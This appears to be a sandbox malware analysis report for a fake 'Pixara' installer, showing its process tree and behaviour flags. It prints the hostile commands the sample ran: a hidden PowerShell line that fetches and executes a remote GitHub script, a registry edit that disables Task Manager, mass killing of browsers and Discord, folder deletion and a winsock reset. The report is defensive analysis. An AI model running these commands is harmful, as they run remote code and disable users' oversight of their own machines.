1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1916	Pixara Setup 1.0.0.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 2236	1996	msedge.exe	82
PID 1996 wrote to memory of 3664	1996	msedge.exe	83
PID 1996 wrote to memory of 1708	1996	msedge.exe	84
PID 1996 wrote to memory of 3664	1996	msedge.exe	83
PID 1996 wrote to memory of 3664	1996	msedge.exe	83
PID 1996 wrote to memory of 3220	1996	msedge.exe	85
PID 1996 wrote to memory of 3220	1996	msedge.exe	85
PID 1996 wrote to memory of 3284	1996	msedge.exe	86
PID 1996 wrote to memory of 3688	1996	msedge.exe	87
PID 1996 wrote to memory of 3284	1996	msedge.exe	86
PID 1996 wrote to memory of 3284	1996	msedge.exe	86
PID 1996 wrote to memory of 3688	1996	msedge.exe	87
PID 1996 wrote to memory of 3688	1996	msedge.exe	87
PID 1996 wrote to memory of 4128	1996	msedge.exe	89
PID 1996 wrote to memory of 4128	1996	msedge.exe	89
PID 1996 wrote to memory of 4128	1996	msedge.exe	89
PID 1996 wrote to memory of 2020	1996	msedge.exe	90
PID 1996 wrote to memory of 2020	1996	msedge.exe	90
PID 1996 wrote to memory of 2020	1996	msedge.exe	90
PID 1996 wrote to memory of 2472	1996	msedge.exe	94
PID 1996 wrote to memory of 2472	1996	msedge.exe	94
PID 1996 wrote to memory of 1044	1996	msedge.exe	95
PID 1996 wrote to memory of 1044	1996	msedge.exe	95
PID 1996 wrote to memory of 2028	1996	msedge.exe	97
PID 1996 wrote to memory of 4304	1996	msedge.exe	96
PID 1996 wrote to memory of 2028	1996	msedge.exe	97
PID 1996 wrote to memory of 4304	1996	msedge.exe	96
PID 1996 wrote to memory of 4304	1996	msedge.exe	96
PID 1996 wrote to memory of 1252	1996	msedge.exe	101
PID 1996 wrote to memory of 1192	1996	msedge.exe	102
PID 1916 wrote to memory of 3824	1916	Pixara Setup 1.0.0.exe	112
PID 1916 wrote to memory of 4988	1916	Pixara Setup 1.0.0.exe	114
PID 1916 wrote to memory of 904	1916	Pixara Setup 1.0.0.exe	116
PID 1996 wrote to memory of 1252	1996	msedge.exe	119
PID 1996 wrote to memory of 3428	1996	msedge.exe	120
PID 1996 wrote to memory of 4064	1996	msedge.exe	121
PID 5268 wrote to memory of 5788	5268	Pixara.exe	125
PID 5788 wrote to memory of 5928	5788	Pixara.exe	128
PID 5928 wrote to memory of 5976	5928	cmd.exe	130
PID 5788 wrote to memory of 5996	5788	Pixara.exe	131
PID 5788 wrote to memory of 6044	5788	Pixara.exe	132
PID 5788 wrote to memory of 2224	5788	Pixara.exe	133
PID 5788 wrote to memory of 4144	5788	Pixara.exe	134
PID 4144 wrote to memory of 4064	4144	cmd.exe	137
PID 5788 wrote to memory of 5176	5788	Pixara.exe	138
PID 5176 wrote to memory of 5528	5176	cmd.exe	140
PID 5788 wrote to memory of 5368	5788	Pixara.exe	141
PID 5368 wrote to memory of 5408	5368	cmd.exe	143
PID 5788 wrote to memory of 5444	5788	Pixara.exe	144
PID 5444 wrote to memory of 5472	5444	cmd.exe	146
PID 5788 wrote to memory of 5512	5788	Pixara.exe	147
PID 5512 wrote to memory of 5560	5512	cmd.exe	149
PID 5788 wrote to memory of 5588	5788	Pixara.exe	150
PID 5588 wrote to memory of 5664	5588	cmd.exe	152
PID 5788 wrote to memory of 5708	5788	Pixara.exe	153
PID 5708 wrote to memory of 5716	5708	cmd.exe	155
PID 5788 wrote to memory of 1304	5788	Pixara.exe	156
PID 1304 wrote to memory of 5752	1304	cmd.exe	158
PID 5752 wrote to memory of 5264	5752	cscript.exe	159
PID 5788 wrote to memory of 3216	5788	Pixara.exe	162
PID 3216 wrote to memory of 5948	3216	cmd.exe	164
PID 5948 wrote to memory of 2472	5948	cscript.exe	165
PID 5788 wrote to memory of 5536	5788	Pixara.exe	167
PID 5536 wrote to memory of 5396	5536	cmd.exe	169

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.dropbox.com/scl/fi/dp71kvdtfql268usezgmw/Pixara.zip?rlkey=uz8k8bowosq21p9b1v7n5lg1o&st=ivjt28si&dl=1
1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x308,0x7ffd1460c188,0x7ffd1460c194,0x7ffd1460c1a0
  2⤵
  PID:2236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1868,i,15534637531660257815,440050994529445048,262144 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:2
  2⤵
  PID:3664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1972,i,16180138901474999856,16321863322781052151,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1992,i,14362419610606910335,9710052259917900415,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=2768 /prefetch:8
  2⤵
  PID:3220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3444,i,12867558080918401006,6288787007676249689,2097152 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
  2⤵
  PID:3284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3440,i,14592800856439343527,1491940813779381305,2097152 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
  2⤵
  PID:3688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4220,i,3736550075616237574,3268971382648806262,2097152 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:1
  2⤵
  PID:4128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4140,i,16169639103794716094,16345829850355635741,2097152 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:2
  2⤵
  PID:2020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5196,i,1984739971318342102,4870383614520774632,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:8
  2⤵
  PID:2472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5204,i,8615644449633263677,14728563552196907365,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:8
  2⤵
  PID:1044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5820,i,4127126767872651636,7556534230953400066,2097152 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:1
  2⤵
  PID:4304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5816,i,4915906505759313855,1564261572894014220,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:8
  2⤵
  PID:2028
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,7421173774872852970,16021499082454556468,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:8
  2⤵
  PID:3532
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,7421173774872852970,16021499082454556468,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:8
  2⤵
  PID:1252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6852,i,14781684307517383654,12832683685373641922,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=6856 /prefetch:8
  2⤵
  PID:1192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6448,i,12410696482224762796,10737054485899259246,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:8
  2⤵
  PID:1252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4308,i,6446963098668407339,7410221234440615248,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:8
  2⤵
  PID:3428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4240,i,8744553435655494805,14741772211628437932,524288 --field-trial-handle=2256,i,81050965321282062,16315495154179710325,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:8
  2⤵
  PID:4064

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3548

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3208

C:\Users\Admin\AppData\Local\Temp\a787ce97-7231-4a13-92ec-1a5ffd0e2cdb_Pixara.zip.cdb\Pixara Setup 1.0.0.exe
"C:\Users\Admin\AppData\Local\Temp\a787ce97-7231-4a13-92ec-1a5ffd0e2cdb_Pixara.zip.cdb\Pixara Setup 1.0.0.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Program Files\Pixara', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:904

C:\Program Files\Pixara\Pixara.exe
"C:\Program Files\Pixara\Pixara.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:5268
- C:\Program Files\Pixara\Pixara.exe
  "C:\Program Files\Pixara\Pixara.exe" --disable-gpu --no-sandbox --disable-logging --disable-logging-redirect --log-level=3 --disable-crash-reporter --disable-breakpad --disable-component-update --disable-features=TranslateUI --disable-ipc-flooding-protection --disable-hang-monitor --no-error-dialogs
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -Command "New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Force | New-ItemProperty -Name "DisableTaskMgr" -Value 1 -PropertyType DWord -Force""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Force | New-ItemProperty -Name "DisableTaskMgr" -Value 1 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5976
- - C:\Program Files\Pixara\Pixara.exe
    "C:\Program Files\Pixara\Pixara.exe" --type=gpu-process --no-sandbox --disable-breakpad --user-data-dir="C:\Users\Admin\AppData\Roaming\Pixara" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1852,i,13218522342688627375,212775673048047157,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,TranslateUI,WinDelaySpellcheckServiceInit --variations-seed-version --disable-logging --log-level=3 --mojo-platform-channel-handle=1848 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5996
- - C:\Program Files\Pixara\Pixara.exe
    "C:\Program Files\Pixara\Pixara.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\Pixara" --field-trial-handle=1852,i,13218522342688627375,212775673048047157,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=SpareRendererForSitePerProcess,TranslateUI,WinDelaySpellcheckServiceInit --variations-seed-version --disable-logging --log-level=3 --mojo-platform-channel-handle=1868 /prefetch:3
    3⤵
    - Executes dropped EXE
    PID:6044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command -
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iwr 'https://raw.githubusercontent.com/TheREAL-RickJames/cockroach-cleaner/refs/heads/main/remediate.ps1' -UseBasicParsing | iex"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5504
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im WindowsSupport.exe
        5⤵
        Kills process with taskkill
        
        PID:5196
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im WindowsSupport.exe
        5⤵
        Kills process with taskkill
        
        PID:2820
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im WindowsSupport.exe
        5⤵
        Kills process with taskkill
        
        PID:5164
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im WindowsSupport.exe
        5⤵
        Kills process with taskkill
        
        PID:444
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im WindowsSupport.exe
        5⤵
        Kills process with taskkill
        
        PID:5772
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im Discord.exe
        5⤵
        Kills process with taskkill
        
        PID:1452
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im DiscordCanary.exe
        5⤵
        Kills process with taskkill
        
        PID:856
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im DiscordPTB.exe
        5⤵
        Kills process with taskkill
        
        PID:4444
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im DiscordDevelopment.exe
        5⤵
        Kills process with taskkill
        
        PID:4584
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im Lightcord.exe
        5⤵
        Kills process with taskkill
        
        PID:2960
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im chrome.exe
        5⤵
        Kills process with taskkill
        
        PID:4112
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im msedge.exe
        5⤵
        Kills process with taskkill
        
        PID:5356
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im brave.exe
        5⤵
        Kills process with taskkill
        
        PID:1556
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im firefox.exe
        5⤵
        Kills process with taskkill
        
        PID:4128
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im opera.exe
        5⤵
        Kills process with taskkill
        
        PID:3396
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im vivaldi.exe
        5⤵
        Kills process with taskkill
        
        PID:4356
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im yandex.exe
        5⤵
        Kills process with taskkill
        
        PID:2132
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im browser.exe
        5⤵
        Kills process with taskkill
        
        PID:2920
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im QQBrowser.exe
        5⤵
        Kills process with taskkill
        
        PID:1252
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im 360chrome.exe
        5⤵
        Kills process with taskkill
        
        PID:4956
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im javaw.exe
        5⤵
        Kills process with taskkill
        
        PID:5972
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im Steam.exe
        5⤵
        Kills process with taskkill
        
        PID:2320
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im installer.exe
        5⤵
        Kills process with taskkill
        
        PID:5216
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im wscript.exe
        5⤵
        Kills process with taskkill
        
        PID:5404
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im cscript.exe
        5⤵
        Kills process with taskkill
        
        PID:5548
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im installer.exe
        5⤵
        Kills process with taskkill
        
        PID:4028
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:2516
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:6000
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:4604
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:3860
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:1880
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:4000
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:5168
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:4344
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:2228
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "rmdir /s /q "C:\Program Files\Pixara""
        5⤵
        
        PID:5192
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im wscript.exe
        5⤵
        Kills process with taskkill
        
        PID:5792
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im wscript.exe
        5⤵
        Kills process with taskkill
        
        PID:5172
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im wscript.exe
        5⤵
        Kills process with taskkill
        
        PID:5312
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im wscript.exe
        5⤵
        Kills process with taskkill
        
        PID:3284
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im cscript.exe
        5⤵
        Kills process with taskkill
        
        PID:4340
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im wscript.exe
        5⤵
        Kills process with taskkill
        
        PID:4724
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im cscript.exe
        5⤵
        Kills process with taskkill
        
        PID:5064
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im wscript.exe
        5⤵
        Kills process with taskkill
        
        PID:2312
    - - C:\Windows\system32\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /t /im cscript.exe
        5⤵
        Kills process with taskkill
        
        PID:5704
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        5⤵
        Gathers network information
        
        PID:5628
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" winsock reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5316
  - - C:\Windows\system32\taskkill.exe
      "C:\Windows\system32\taskkill.exe" /f /im Pixara.exe
      4⤵
      Kills process with taskkill
      PID:5488
  - - C:\Windows\system32\taskkill.exe
      "C:\Windows\system32\taskkill.exe" /f /im Pixara.exe
      4⤵
      Kills process with taskkill
      PID:1904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
